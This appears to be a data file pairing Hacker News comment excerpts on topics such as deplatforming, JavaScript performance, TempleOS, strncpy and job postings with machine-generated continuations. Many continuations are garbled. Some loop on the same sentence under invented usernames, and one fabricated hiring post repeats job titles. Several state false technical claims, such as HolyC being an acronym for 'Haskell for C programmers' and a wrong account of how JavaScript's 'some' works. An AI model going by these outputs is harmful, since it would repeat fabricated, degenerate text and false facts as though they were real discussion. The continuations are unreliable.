a\ncrisis has not yet occurred (imagine living in a country that"} +{"output_text": " hard.\n\nI'm not saying that Gab is a good thing, but I'm curious about the\nconsequences of hosting your own platform.\n\n~~~\njstanley\n> What's interesting about Gab is that it wasn't content hosting on another\n> platform (Facebook/Twitter). It was their own platform, that people wrote\n> and built.\n\nI don't think that's true. Gab is a platform that hosts content.\n\n> What if you run", "input_text": " as liberal democracies have\nexisted (others have brought up Popper, but Popper cribbed the idea from\nImmanuel Kant). There's no conditioning going on.\n\n------\njstanley\n> Does this mean that if Zerohedge, or Black Lives Matter, two of our clients\n> from opposite ends of the political spectrum, post something, or even if one\n> of their users posts something, that is beyond the pale, then we have to\n> worry about having our finances cut off?\n\n> I know as \u201cthe DNS guys\u201d we have a near pathological aversion to single-\n> points-of-failure, but it\u2019s not a stretch to come to the conclusion for any\n> business that it\u2019s not an acceptable risk to have that possibility just\n> looming there and to do nothing about it.\n\n> That means we will now be looking for backup payment processors.\n\nFWIW, this is _exactly_ what Bitcoin does well: uncensorable payments with no\nsingle points of failure. And, by way of anecdata, I currently pay for domain\nnames in Bitcoin already (from gandi).\n\nPeople buying domain names are probably one of the best demographics to have\nif you want to take Bitcoin as they are likely to be technically savvy.\n\n------\ndjsumdog\nWhat's interested about Gab is that it wasn't content hosting on another\nplatform (Facebook/Twitter). It was their own platform, that people wrote and\nbuilt.\n\nWhat if you run a Plemore/Mastodon server that has users with controversial\ncontent? Is it okay for Vultr or DigitalOcean or Amazon to just yank your\naccount? Sure you can claim capitalism and find another provider, but we've\nseen here that finding another provider is"} +{"output_text": "\njason_slack\nSlack | San Francisco, CA | Full-Time | Onsite\n\nSlack is hiring! We are looking for a few engineers to join our team.\n\nWe are looking for:\n\n* Senior Backend Engineer\n\n* Senior Frontend Engineer\n\n* Senior Full Stack Engineer\n\n* Senior Mobile Engineer\n\n* Senior Product Manager\n\n* Senior Product Designer\n\n* Senior Product Manager\n\n* Senior Product Designer", "input_text": ", Qt, and C++.\n\nInterview process: Intro over skype -> Phone screen -> Onsite interview ->\nOffer.\n\nSend email to jobs@eyenuk.com to apply (US-based candidates; H1b or OPT ok).\n\n------\nahstilde\nStockpile | Palo Alto, CA | Full-time | ONSITE\n\nStockpile\u2019s mission is to democratize stock ownership. We built our own\nfractional trading platform to break down the barriers to stock ownership and\nhave partnered with Fortune 500 companies to make the stock market accessible\nto everyone in simple ways \u2014 like a physical or digital gift card. We\u2019re also\npartnering with nonprofits to promote financial literacy and empowerment so\nanyone around the world, of any age or income level, can invest for their\nfuture.\n\nWe're backed by Sequoia Capital, Mayfield, and Ashton Kutcher.\n\nBased in Palo Alto, CA, Stockpile's engineering team is growing fast, and\nwe're hiring front-end, back-end, and full-stack devs. Our tech stack is a\nJava backend with Angular front-end and React Native for mobile. There's some\nNodeJS and Ruby sprinkled into the microservices, too. The team values work-\nlife balance and camraderie. Perks of working at Stockpile include catered\nbreakfast and lunch, great snacks, flexible leave, and an incredible insurance\npackage.\n\nView our open positions at\n[https://jobs.lever.co/stockpile](https://jobs.lever.co/stockpile)\n\nYou can apply through there, or email me (full-stack engineer)\naakash(AT)stockpile.com\n\n------"} +{"output_text": ".com/item?id=7938173)\n\n~~~\njashkenas\nI'm not sure I agree with your assertion that `some` will bail out on the\nfirst true value returned.\n\nThe `some` method will return `false` if the callback function returns `false`\nfor any element in the array.\n\nIf you want to bail out on the first true value returned, you can use `some`\nwith a `break` statement", "input_text": " same as the\nclosure. If something still references an object then GC will not touch it.\n\nSimilarly for the event listeners advice, which is also badly worded.\n\nAnd if you do need to write a timeout-based loop, I respectfully suggest the\nfollowing construct:\n\n \n \n const interval = 1000;\n var timer;\n \n (function loop () {\n ... do stuff...\n timer = setTimeout(loop, interval);\n }());\n \n\nNow you can even use \"rewire\" to control the interval during your unit tests -\nbonus!\n\nThe Arrays vs Objects thing is just shallow. In reality, the advice is \"it\ndepends\". If you need to iterate, use an Array. If you need to access by key,\nuse an Object (or better a Map). If you need both (and this frequently happens\nin my experience) then you have to decide depending on the size of your\nstructure.\n\n~~~\nsheetjs\n> It also has no \"break\" functionality, which is important if we are talking\n> about performance (i.e. when iterating the array to find a specific member).\n\nThe article is woefully misinformed regarding `forEach` and I agree that the\narray methods in general are slower [1], but `some` will bail out on the first\ntrue value returned. To be sure:\n\n \n \n [1,2,3,4,5].some(function(n) { console.log(n); return n>=2; });\n \n\nwill not run the callback function after processing the 2\n\n[1]\n[https://news.ycombinator.com/item?id=7938173](https://news.ycombinator"} +{"output_text": " a class be better than\nusing a function?\n\n~~~\nSawamara\nI don't think so. The main reason is that functions are first class citizens\nin JavaScript, so you can pass them around and pass them around.\n\n------\njoshuamorton\nI'm not sure I agree with the \"use a class\" advice. I think it's a good idea\nto use a class, but I think it's a bad idea to use a class", "input_text": " feel like these \"N performance tips\" make it onto the main page mostly\nbecause of the commenters coming up with counterpoints to each \"tip\".\n\n~~~\niaml\nReal performance tips are always in comments!\n\n------\ncmollis\nPromise.all vs sequential awaits is a good tip but Only if the results of the\nawaits are independent (obvious). I see that all the time. It\u2019s easier to see\nhow inefficient that is when you\u2019re chaining.then().. await hides that and\ngives the impression that it\u2019s parallel.\n\n------\nmulrian\n_Second point is, global variables are not cleared by the garbage collector.\nSo if you continuously add more and more global variables (which are not of\nfuture use), it will cause a memory leak._\n\nErrr...\n\n~~~\nSkinney\nIt's an easy thing to do in JS, it happens if you forget the `var`.\n\n~~~\nKlathmon\nonly when not in strict mode, which is becoming more and more rare, especially\nin javascript codebases (as opposed to one-off scripts)\n\n------\naforty\nWhat if I specifid the `global` scope, like `global.SOME_VAR`? Will that skip\nthe expensive search of the parent nodes?\n\n~~~\nSawamara\nIt cannot. It still has to check whether there is a local variable in any\nother scope that is above the one currently being executed, all the way to the\ntop where it finds global.\n\nSame with window in a browser context. You could still have a \"window\"\nvariable placed between your execution context and the global context.\n\n------\nLord_Zero\n\"Create class for similar kind of objects\" would using"} +{"output_text": " rights.\n\n[1]\n[https://www.youtube.com/watch?v=8X_0_0_0_gQ](https://www.youtube.com/watch?v=8X_0_0_0_gQ)\n\n[2] [https://www.royalty-exchange.com/](https://www.royalty-exchange.com/)\n\n~~~\njessaustin\n_Music in the form of", "input_text": " as art?\n\nJust because she is referred to as an artist by an industry attempting to\nprofit from her production does not defacto her as such. Perhaps Taylor is\njust a shrewd business person who has a natural understanding of what has\nstrong social appeal. What if she openly admit that was her intent? Would you\nstill call her an artist? I would not, and I imagine a great many others\nwouldn't either. There is a lot to being an artist and this automatic labeling\nis misleading and perhaps, if you are extra paranoid, nefarious in intent.\n\n------\n7Figures2Commas\n> Music is art, and art is important and rare. Important, rare things are\n> valuable. Valuable things should be paid for. It's my opinion that music\n> should not be free, and my prediction is that individual artists and their\n> labels will someday decide what an album's price point is. I hope they don't\n> underestimate themselves or undervalue their art.\n\nMusic in the form of a physical or digital copy of a recorded track is not\nrare. Album pricing is based on supply and demand. The latter has decreased\nsignificantly in the past decade. Short of pulling a Wu-Tang[1], it would be\nfutile for artists to try to fight market forces.\n\nIf Swift really wants to discuss the value of music in the context of music as\nan important, rare art form, focusing on what consumers pay for physical and\ndigital copies of recorded music makes about as much sense as valuing Monet's\nWater Lilies series based on how much Water Lilies posters sell for.\n\nThere are several rights associated with music and people have been buying and\nselling these rights for decades. Royalty Exchange[2] is an online marketplace\nfor these"} +{"output_text": "> Email was not meant to be abusef this way, and I have seen first hand how it\n> can be used against people so I have chosen it as my figurative \"hill to die\n> on\".\n\nI'm not sure I understand this. I've never had an email account that I've\nneeded to use for anything, and I've never had an email account that I've\nneeded to use for anything that I've wanted to keep private.\n\n~~~", "input_text": "\nemail is not and will never be required to sign up or use a feature.\n\nI'm not trying to play the devils advocate here, just genuinely curious: Why\ndo you (or anyone else) have such a strong opinion on not using emails for\nsigning up? Usually, when a service requires me to enter an email, I have no\nissue with using a service like 10minutemail and never checking that email\naccount again.\n\n~~~\nbadrabbit\nI have spoken about this many times on HN. It comes down to this: email is\nbeing used in many nefarious ways and it is an ancient protocol with many\ninsecurities. Anonymous email works for a bit but then every service worth\nusing starts banning the providers. Both reddit and HN prospered as a result\nof not requiring email, that should tell you a lot about how horrible it is.\nIt's on the same level as social security numbers being used as a secure\nsecret that identifies a person. Email was not meant to be abusef this way,\nand I have seen first hand how it can be used against people so I have chosen\nit as my figurative \"hill to die on\".\n\nNow, if I can give a limited use address that cant be tied to me as an\nindividual,expires after a period of time and messages are E2EE encrypted with\nno metadata leakage I don't mind that.\n\nI have spent almost an entire day trying to sign up to one service withour\nhaving to give up my phone number,real IP,creditcard or real email address to\nanyone as a challenge. I have tried countless anonymous email providers and\nsms code receiving services. I failed. Email abd phone number collection is a\nmodern tech evil for me.\n\n~~~\njudge2020\n"} +{"output_text": ", I get motivated\nto write code.\n\nI'm not sure if it's because I'm a programmer, or because I'm a fan of the\nseries, or because I'm a fan of Terry's videos, or because I'm a fan of\nTempleOS, but I'm really excited to see what he's going to do with this.\n\n~~~\njimmygrapes\nI'm a fan of the series, and I'm a fan of Temple", "input_text": "\nKeeping the pedos and other bad actors out is probably impossible, instead\nsociety and parenting should focus on educating children on the dangers and\nmitigation.\n\nTeach them not to give out personal information, not to send pictures they\nwouldn't want the whole world to see and not to be too trusting and they\nshould be good. If they follow those rules, this kind of exploring and\ncreation of (youth) culture is actually safer than anything that happens irl.\n\nWhatever happened to Second Life, where all of this should be possible without\nfighting censorship?\n\n~~~\nbitwize\n> This is absolutely beautiful. It sounds like the vibrant, lawless\n> communities no longer found on 4chan and obscure forums that are now dead.\n\nLeaving aside the fact that a lack of strict moderation where kids congregate\nis a virtual smorgasbord for pedophiles, remember that the \"vibrant, lawless\ncommunity\" of 4chan and the like gave rise to a right-wing movement powerful\nenough to put Trump into office. It was Marcuse's repressive tolerance being\nplayed out before our eyes.\n\nAn increasingly censored and regulated internet is inevitable, _for the good\nof civilization_.\n\n~~~\njimmygrapes\nI am sure this goes against HN rules, but I found your comment particularly\ndisgusting. Just wanted you to know.\n\n \nMega Man for TempleOS - robertelder\nhttps://github.com/tramplersheikhs/megaman\n======\nLVB\nWhenever I watch one of Terry's videos, I get highly motivated to program. Not\nread a blog post comparing frameworks, or a debate about some programming\nidiom, or even designing some larger project. But literally"} +{"output_text": " [https://en.wikipedia.org/wiki/Holy_C](https://en.wikipedia.org/wiki/Holy_C)\n\n~~~\nfiatjaf\nI know what it means, but I don't understand the pun.\n\n~~~\nwolfgke\n> HolyC is an acronym for \"Haskell for C programmers\".\n\n~~~\nfiatjaf\nI know what it means, but I don't understand the pun.\n", "input_text": " lightweight operating system created over the span of a decade\nby the American programmer Terry A. Davis. The software is a x86-64 bit,\nmulti-tasking, multi-cored, public domain, open source, ring-0-only, single\naddress space, non-networked, PC operating system for recreational\nprogramming.[3] The operating system was designed to be the Third Temple\naccording to Davis and uses an interface similar to a mixture of DOS and Turbo\nC. Davis describes the operating system as a modern x86-64 Commodore 64 with C\nin place of BASIC.\n\n~~~\ncorndoge\nI'll bite.\n\nWhy did you paste a paragraph from the Wikipedia article?\n\n~~~\ntracker1\nBecause many people will have no idea what TempleOS is from the link, or the\ndemo video on the GH page.\n\n~~~\ncorndoge\nBut if they are reading HN, surely they know how to use Google and Wikipedia\nand could acquire this information in seconds?\n\n~~~\nlargeprime\nas an incredibly lazy person i found it to be helpful\n\n~~~\nudkl\nYou logged out, signed up for a temp account and then logged back in - just to\npost this comment. That IS incredibly lazy ;)\n\n~~~\nrangibaby\nHe probably doesn't want to be on record saying that he is lazy\n\n~~~\nudkl\nIs that you there, Mr Obvious?\n\n------\nfiatjaf\nI find TemploOS a pretty normal name, but HolyC is an amazing name for a\nlanguage. I always laugh when I see it.\n\n~~~\nwolfgke\n> but HolyC is an amazing name for a language\n\nFor those who don't understand the pun:\n\n>\n>"} +{"output_text": ",\nthan a physical creation.\n\n~~~\njlgreco\n> _MIT's network is a private network and they have complete authority over\n> who gets to access it, in a legal sense and a moral sense._\n\nI don't think that is true. MIT has a contract with the US government to\nprovide a certain level of service to the US government. The US government\nhas a contract with the US people to provide a certain level of service to the\n", "input_text": " browser, and don't\nyou dare do so if you ever suggested that those articles should be shared\nfreely on the Internet, or else you'll face a long and expensive prosecution\nby the US government.\n\n~~~\nrayiner\n> I am not really seeing the moral argument there. MIT's network is designed\n> to be open; a ban on a MAC address is, on such a network, little more than a\n> polite request to not continue your access.\n\nMIT's network is a private network and they have complete authority over who\ngets to access it, in a legal sense and a moral sense. It's their prerogative\nto extend access to anyone except specifically chosen people. In our society,\nwe do not treat \"get off our lawn\" and the equivalent as a \"polite request.\"\nWe treat it as an enforceable demand.\n\n> How conservative of you.\n\nYes. We live in a society of rules and borders and boundaries. We like those\nthings, so much that we often enforce them with guns (and cheer on those who\ndo). It is not your prerogative to flout them as you please, but your burden\nto convince us which of those boundaries are unnecessary so we legislate\naccordingly.\n\n> What gives JSTOR the moral right to tell anyone what they are allowed to do\n> with the articles JSTOR provides to them?\n\nJSTOR at the very least has a moral right to control how he used their private\nservice to download the articles.\n\n> copyrights are in no way related to modern senses of morality or justice\n\nI disagree. I think most people believe that creators are entitled to control\nthe distribution of their work. I think the prevailing mindset is that a\ndigital creation should not be treated differently, for ownership purposes"} +{"output_text": "ms to 0.5ms._\n\nI don't know if this is a good thing.\n\n~~~\nsa46\n> I don't know if this is a good thing.\n\nI don't know if it's a good thing either. I'm not sure if it's a good thing\nfor the user or the publisher.\n\n------\nsa46\nI'm curious if anyone has tried to use a browser extension to block ads. I\nhave tried Adblock", "input_text": ", you'd need to\ncompute an aggregate score across a range of common sites.)\n\n~~~\nsa46\n> I have to use LastPass.\n\nI recently switched from LastPass to 1Password because of the added latency\nfrom Lastpass. Lastpass adds about 70ms to first contentful paint on\nexample.com. 1Password, on the other hand, runs after the painting is done so\nit doesn't block rendering. I polished up a blog draft I had lying around\nabout switching to 1Password: [https://joe.schafer.dev/passing-\nlastpass/](https://joe.schafer.dev/passing-lastpass/)\n\n> I'd be much more interested to see how extensions like Evernote or LastPass\n> increase the time it takes for a real webpage (e.g. \"nytimes.com\") to finish\n> painting the viewport not including ads.\n\nI reinstalled Lastpass to test on nytimes.com. It takes 58ms to evaluate\nonloadwff.js (the Lastpass entry point) before any content is rendered.\n\n~~~\nDaiPlusPlus\nI have LastPass, but I keep it in \u201conly activate extension when I click on the\ntoolbar button\u201d.\n\nThe only annoying thing is that LastPass requires the whole page to reload\nfirst - I don\u2019t know why Chrome can\u2019t load an extension into an already-loaded\npage.\n\n------\na_imho\n_Most ad blockers work by blocking certain network requests that are initiated\nby the page. DDG Privacy Essentials reduces the number of network requests by\n95% and the download weight by 80%._\n\n _DuckDuckGo Privacy Essentials reduces the CPU time of the article page from\n31"} +{"output_text": " C#, C++ * Bluetooth, WiFi, GPS,\nAndroid, iOS * Linux, Eclipse, MPLabX, MATLAB, Bitbucket (GIT, Mercurial)\n\nWe offer: * Competitive salary * Flexible working hours * A great team\nenvironment * A modern office in the heart of Heidelberg\n\nIf you are interested, please send your CV to jobs@coboc.de\n\n------\njames-skemp\nSquare |", "input_text": "\n\nPlease include a personal note about your background and interests so we can\nprioritize your application!\n\n~~~\nMarkPNeyer\nThese guys are great! I know a few people on the team and can vouch for the\nculture.\n\n------\njtefera\nHi! Seeing that the search script posted on top just shows the number of jobs\nthat meets certain criteria and not the jobs per se, I decide to build this\nmorning a better search and filtering engine. You can find it here:\n[https://jtefera.com/hn/?url=https://news.ycombinator.com/ite...](https://jtefera.com/hn/?url=https://news.ycombinator.com/item?id=13541679)\n\nHope it helps1 Feedback is welcomed.\n\n------\nanton_y\nCoboc | Embedded Software Engineer C/IoT/E-Bikes | Heidelberg | ONSITE, FULL-\nTIME\n\nWe are developing, producing and selling electric bikes of a new kind. They\nstand out by a award winning design, light weight, unique usability and a\nfully integrated drive system that we develop completely in house including\nmotor control, battery management and bluetooth connectivity. We are selling\nthese for the fourth year now and need support to expand our technological\nlead.\n\nAt coboc you will: * Architect, implement embedded software in C for our\nintegrated drive system * Develop new features in short development cycles\nwith quick product integration * Evaluate new technologies and streamline our\ndevelopment process\n\nTechnology Stack: * Embedded C, Python * Linux, Eclipse, MPLabX, MATLAB,\nBitbucket (GIT, Mercurial) * TDD: Unity,"} +{"output_text": ".\n\n~~~\nneedlepont\nI agree with you. I was just pointing out that the solution is not as simple\nas it seems.\n\n------\njimmaswell\nI'm not sure why this is on the front page. It's not a new problem, it's\nbasically just a string copy.\n\n~~~\njimmaswell\nI guess I should have been more clear. I'm not saying this is a new problem,\nI", "input_text": "\n~~~\nrussdill\nI'll add that it's really handy for that specific situation as it also avoids\nleaking uninitialized bytes.\n\n------\ndang\nDiscussed at the time:\n[https://news.ycombinator.com/item?id=5491121](https://news.ycombinator.com/item?id=5491121)\n\n------\nkodis\nI'd say \"Stop using C and C++ already\" or \"Stop using null terminated strings\nalready\", but I recognize that those are not always practical solutions.\n\nI do have some maintainability concerns though about the promulgation of\nnumerous competing home-brew solutions to a near trivial problem throughout a\ncode base.\n\n------\nhzhou321\nIf we preset the end of buffer with '\\0' and then assume the buffer having\n1-less capacity, wouldn't it address the strncpy issue?\n\n~~~\nneedlepont\nOf course, but everyone wants to overdo the complexity of the time worn\nsolution. OMG you need to null terminate the string after all the _other_\ngymnastics..gee C sure does suck! Why don't we use _rust|go|c++_ ad-nauseam.\nbzero(buf,sz); / _memset nazis here_ / strncpy(buf,src,sz - 1);\n\n~~~\nbitwize\nIt doesn't make sense to have to null-terminate the string by hand (maybe)\nafter doing a \"safe\" STRING copy. Which means it's easy to forget to do and\nthat's a dangerous wart in the design.\n\nReally, stop using C. To quote Hayao Miyazaki, C was a mistake"} +{"output_text": " a company that is in a death\nspiral.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\n~~~\njoshu\nI think it's a bit of a straw man.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\n~~~\njoshu\nI think it's a bit of a straw man.\n\n------\njoshu\nI'm not", "input_text": ", Fifa 12...).\n\nSo in other words, Zynga's business model is completely different than EA's.\n\n------\ncrag\nAnd this is what happens when inventors invest in a company they know noting\nabout. This is what happens when you listen to the hype, and the street and\nNOT do your own due diligence. There's a reason why the big banks backed the\nIPO but didn't take a percentage.\n\nWhen it all comes down in flames, (I think it's already begun - if you haven't\ngotten out, get out now) the only saving grace is that the CEO and board will\nbe embattled in court for years. The investors might get a few pennies on the\ndollar.\n\n~~~\nironchef\n\"There's a reason why the big banks backed the IPO but didn't take a\npercentage.\" Morgan stanley has 19 mil shares. Goldman has 2 mil shares. They\nbacked the IPO and took a percentage. Am i misunderstanding your statement?\n\n~~~\nantr\nthey didn't invest cash, they just exercised their green-shoe.\n\n~~~\ncrag\nExactly. They never invested cash. It's all vapor. In other words, both banks\nlose nothing except the promise of future profits.\n\nBoth banks already made their money (and then some) on the IPO and associated\nfees. Now of course, assuming the banks had no knowledge of Groupon's true\nfinancial health; they did nothing illegal.\n\nBUT ethically, brokers/traders have a responsibility to informed their clients\nwhen it's time to cash out. A lot of people made money off this deal. And lot\ndidn't.\n\nBut Groupon, if what I'm hearing is true, is"} +{"output_text": " Kafka, Cassandra, Elasticsearch, Redis,\nKubernetes, Docker, AWS, and more.\n\nWe are looking for:\n\n\\- Senior Software Engineer (Java)\n\n\\- Senior Software Engineer (Python)\n\n\\- Senior Software Engineer (C++)\n\n\\- Senior Software Engineer (Machine Learning)\n\n\\- Senior Software Engineer (Cloud)\n\n\\- Senior Software Engineer (DevOps)\n\n\\- Senior Software Engineer (Data)\n\n\\- Senior", "input_text": "-native API microservices. For more information on our\nproduct, please check out\n[http://www.lunchbadger.com](http://www.lunchbadger.com).\n\nWe are looking for a Senior Software Developer (Backend) to join a small but\ngrowing team. This is a great opportunity to have a real impact on the product\nand the team. Due to our small size, we're looking for someone who can\nparticipate in the project in multiple ways, whether that is writing and\ndesigning software, creating automation to deploy and manage it in production,\nor helping to support our customers.\n\nTech we use: Node.js, express.js, LoopBack, AWS, Docker, Kubernetes, Terraform\n\nMore information at [https://www.lunchbadger.com/careers-senior-software-\nengineer...](https://www.lunchbadger.com/careers-senior-software-engineer-\nbackend/)\n\n------\ngesundkrank\nmbr targeting | Berlin, Germany | [https://mbr-targeting.com](https://mbr-\ntargeting.com) | Full-Time, ONSITE\n\nmbr targeting uses machine learning algorithms for highly efficient real-time\nadvertising. We are 100% science- and technology-focused and process and\nanalyze massive amounts of data. We are working at the cutting edge of big\ndata, machine learning and real-time technologies and we are operating large-\nscale deployments of real-time web services.\n\nWe are looking for smart people that are always eager to learn something new.\nOur stack is built with Java, Node, Python and C++. Using frameworks like\nHadoop, Spark, Flink, Vert.x,"} +{"output_text": "ed every\nsecond.\n\nWhat is the BSM? The BSM is a message that is broadcasted by a vehicle to\nother vehicles in its vicinity. The BSM contains vehicle dynamics information\nsuch as heading, speed, and location.\n\nWhat is the BSM message format? The BSM message format is a binary message\nthat is broadcasted by a vehicle to other vehicles in its vicinity. The BSM\nmessage format is a binary message that is broadcasted by", "input_text": "ilucania\nStay off the Internet and read books.\n\n------\ntmaly\ntry to identify patterns of things that work for you. No one likes taking\nadvice, but if you can figure out some good shortcuts, you can focus on\ncreating value.\n\nI am just finishing up an audio book of Linchpin by Seth Godin. It has some\ngreat ideas in there in regards to being a remarkable artist instead of being\na cog in the machine. I think this is important, especially as we are moving\naway from a manufacturing based economy.\n\n~~~\npvsukale1\n:) can you explain a little more about creating a value? thanks\n\n------\nerac1e\nWhen you are 30 you will probably be less enthusiastic about cutting code.\nHave a backup plan.\n\n~~~\npvsukale1\n:)\n\n \nWireless vehicle-to-vehicle communication would be required in new cars - serg_chernata\nhttp://www.theverge.com/2016/12/13/13936342/wireless-vehicle-to-vehicle-communication-v2v-v2i-dot-nhtsa\n======\nblendo\nFrom the fact sheet\n[https://www.safercar.gov/v2v/pdf/V2V_NPRM_Fact_Sheet_121316_...](https://www.safercar.gov/v2v/pdf/V2V_NPRM_Fact_Sheet_121316_v1.pdf):\n\nWhat data is exchanged? The data, known as the \u201cbasic safety message\u201d (BSM),\nis exchanged between vehicles and contains vehicle dynamics information such\nas heading, speed, and location. The BSM is updated and broadcast"} +{"output_text": ".namespace(\"YAHOO.widget\") nonsense) with ease-of-debugging (no\nYAHOO.widget.Foo.bar() nonsense).\n\n~~~\nkirubakaran\nThanks for the info.\n\n------\njrockway\nI'm not sure I understand the point of this. The author is complaining that\nthe web is too complicated, and that the web is too complicated because of\nlibraries.\n\nI think the web is too", "input_text": " about and wanted to know from\nsomeone in the know.\n\n~~~\nnostrademons\nSpez had mentioned, off-handedly, that there tend to be painful bugs in the\nmain web.py distributions:\n\n\n\n~~~\nkirubakaran\nThanks nos`. Are you still using Pylons? And templates? Would you recommend\nMochiKit for js lib?\n\n~~~\nnostrademons\nActually, I went with web.py after all. I blame temporary insanity. That, and\nweb.py was easily understandable without a whole lot of docs to go through,\nand I wanted to get _something_ up quickly. We may yet rewrite in Pylons, but\nit's low priority, as web.py is working for us. (We also have practically zero\ntraffic though.)\n\nFor templates, we use Mako after having previously used Cheetah, same as the\nrewritten Reddit. Mako is a very well-done, well-thought-out library. There\nwere some things that Cheetah had a lot of trouble with (like unicode support\nand fragment libraries) that Mako handles without breaking a sweat.\n\nFor JS lib, we eventually settled on jQuery after having tried out Prototype,\nYUI, and Mootools (never used Mochikit, sorry). This was largely because that\nseems to be where the momentum is these days. Also, jQuery has a very elegant\nselector + plugin architecture and a growing collection of plugins. And it's\nthe first JavaScript library I've seen that's intimately aware of namespace\nissues and tries to balance ease-of-use (no silly\nYAHOO"} +{"output_text": " don't want to do.\n\n~~~\nemmelaich\nI'm not sure I understand.\n\n~~~\nsillysaurus3\nI'm not sure I understand what you're asking.\n\n~~~\nemmelaich\nI'm not sure I understand what you're asking.\n\n------\njheriko\nI think the author is missing the point.\n\nThe point is that the author is not a C++ expert.\n\nThe point", "input_text": " because it usually\nindicates someone is trying to be overly clever with C++. On the other hand,\nif the codebase is written in that style, then the _whole_ codebase should be\nconsistently written in that style. The inconsistency is the worrisome part:\neither use it everywhere or nowhere.\n\nAnyway, STL is pretty massive, and knowing all of it isn't the same thing as\nbeing a C++ expert. Knowing what to avoid is almost as important as knowing\nwhat to use.\n\n~~~\njcd748\nYou probably don't need std::for_each anymore. With C++11, you can do the\nfollowing:\n\nfor (const auto& element : collection) { }\n\nWhat's wrong with ? I use it all the time for sort, swap, and\nrandom_shuffle comes up more frequently than I expect.\n\n~~~\nsillysaurus3\nThose are all fine. Actually, I forgot that sort was in . I was\njust recalling some of the horrors I've seen due to pre-C++11 fanciness. There\nseems to be a temptation for C++ programmers to overuse clever tricks.\nLuckily, with C++11 fewer tricks are necessary.\n\nUnfortunately, the gamedev industry will probably be stuck with pre-C++11 for\nanother decade.\n\n~~~\nemmelaich\n> I'm a C++ expert..\n\n> I forgot that sort was in \n\nUhm, sillysaurus3, could I see you in my office please.\n\n:-)\n\n~~~\nsillysaurus3\nMy brain space is limited, so I use it sparingly. Memorizing which header file\nprovides which function is something I"} +{"output_text": "ide\nI think this is a good article. I think it's a good thing to be a bad\nprogrammer. I think it's a good thing to be a good programmer.\n\nI think it's a good thing to be a bad programmer who is slow.\n\nI think it's a good thing to be a good programmer who is slow.\n\nI think it's a good thing to be a bad programmer who is slow.\n\nI think it's a good", "input_text": " ld, it is standard UNIX behaviour. Always has been.\n\nBut you're right it should not occur.\n\n------\nfoota\nSeems like this may almost have been better done through a disclosure channel\nwith torch?\n\n~~~\nmannykannot\nMaybe, but this particular issue has much wider scope, and is only\nincidentally a Torch issue. A disclosure by the Torch devs might have gone\nunnoticed by those who are not Torch users - I only read it because the HN\ntitle mentioned ls, and I thought \"that looks odd...\".\n\n------\nfslkjhjdfhgj4j\nwow! thats a gotcha, trailing : appends $(PWD) to the LD_LIBRARY_PATH\n\nThanks for sharing!\n\n------\nIshKebab\nHa, shitty text-based configuration systems strike again. Ask yourself if this\ncould have happened with Windows 10's PATH editor.\n\n~~~\nJadeNB\n> Ask yourself if this could have happened with Windows 10's PATH editor.\n\nYes \u2026? Well, I dunno; I don't know how Windows 10's PATH editor works.\nNonetheless, the issue seems to be with magic interpretation of special\nconfiguration options, not with how those configuration options are entered.\n(Note also that the configuration was done programmatically, not by the user,\nso that there would have to be some kind of parse\u2013deparse step anyway.)\n\n \n\nBad Programmers Are Not Good Programmers Who Are Slow - iamelgringo\nhttp://www.knowing.net/PermaLink,guid,f6755acf-e8df-4f32-8d53-39b9a01992f5.aspx\n\n======\nxenoterrac"} +{"output_text": "we\u2019re hiring across the board).\n\n------\njoshu\nPagerDuty | Senior Software Engineer | San Francisco, CA | Full-time | Onsite\n\nPagerDuty is a fast-growing, profitable, and mission-driven company. We're\nlooking for a Senior Software Engineer to join our team.\n\nYou will be responsible for building and maintaining our core infrastructure\nand services. You will be working with a small team of engineers to build\n", "input_text": "OR Branch and Cut solver\n(CBC), Cython, Sidekiq, PostgreSQL, Redis\n\n\\- Front-end: React, Webpack (with Hot Module Replacement), ES6/Babel, LESS,\nCSS Modules, Yarn\n\n\\- Testing: CircleCI, RSpec, Approvals, WebMock, puffing-billy, Capybara,\nJasmine, Happo, Browserstack, Overcommit, Codecov (>75% coverage front+back-\nend)\n\nYou\u2019ll work on (for example):\n\n\\- The scheduling algorithm that turns a Remix map into work sheets for bus\ndrivers ([https://blog.remix.com/an-intro-to-integer-programming-\nfor-e...](https://blog.remix.com/an-intro-to-integer-programming-for-\nengineers-simplified-bus-scheduling-bd3d64895e92))\n\n\\- Visualisations for use in public meetings, such as the \u201cJane\u201d (Jacobs)\nisochrones tool ([https://blog.remix.com/remixs-isochrone-visualizes-travel-\nti...](https://blog.remix.com/remixs-isochrone-visualizes-travel-\ntime-e703b9f929d8))\n\n\\- Our geo-database of open data (transit and census) and privacy-sensitive\ndata\n\n\\- Live-updating costing models and simulations\n\n\\- Our demographics tool that helps transit agencies serve their communities\nequitably (per the Civil Rights Act of 1964)\n\nGo to [http://remix.com/jobs](http://remix.com/jobs) to apply and to see all\nour openings ("} +{"output_text": "'t make sense.\n\n------\njasonkester\nI think the best way to do this is to ask the users what they want.\n\nIf you're a user of a project, you're the best person to ask. You're the one\nwho's using it, and you're the one who's going to be using it for the next\ndecade.\n\nIf you're a developer, you're the best person to ask. You're the one who's", "input_text": " then convince the team to adopt automated testing.\n\nOf course, you can't just let random new people come into a project without\npushing back on them; Often their ideas are genuinely bad ideas which come\nfrom a lack of understanding & context.\n\n~~~\nploxiln\nYou also can't just join a commercial software project. But you can fork an\nopen source one.\n\nFor most open source software projects, the \"user base\" is developers who like\nopen source software. That's a good thing really; otherwise, there would be\nnothing that works well for people like me, as all commercial software\ncompanies go after the much bigger markets.\n\n------\ninfinity0\nAs a FOSS developer, my aim is to grow the FOSS community _in the long term_.\nNumber of users, and their real or perceived wants, is only sometimes helpful\nto this goal. Sometimes it is not, for example when \"shiny\" is prioritised\nover solid engineering or security, or when a short-term attention gain from\ntemporary \"hired guns\" is prioritised over attracting reliable and skilled\nworkers that will help to sustain the community.\n\n------\nMaultasche\nI think that this is a complicated question for two reasons.\n\n1\\. It probably greatly depends on the open source project. Some developers\nare probably in tune with their users while other barely realize that users\nexist.\n\n2\\. Some people have a different definition of \"listening to their users\" than\nothers.\n\nUsers who want something but don't get it may regard the developer as not\nlistening to them.\n\nThe developer, on the other hand, may be hearing everything users are asking\nfor, but aren't implementing everything that's requested because it isn't\npractical or just doesn"} +{"output_text": "-FAQ.html)\n\n------\njrockway\nI'm not sure I understand the point of this. It's not like you can't run\nFreeBSD on EC2.\n\n~~~\njrockway\nI guess I don't understand the point of this. It's not like you can't run\nFreeBSD on EC2.\n\n~~~\njrockway\nI guess I don't understand the point of this. It's not like you can't", "input_text": ", xfwm, or really 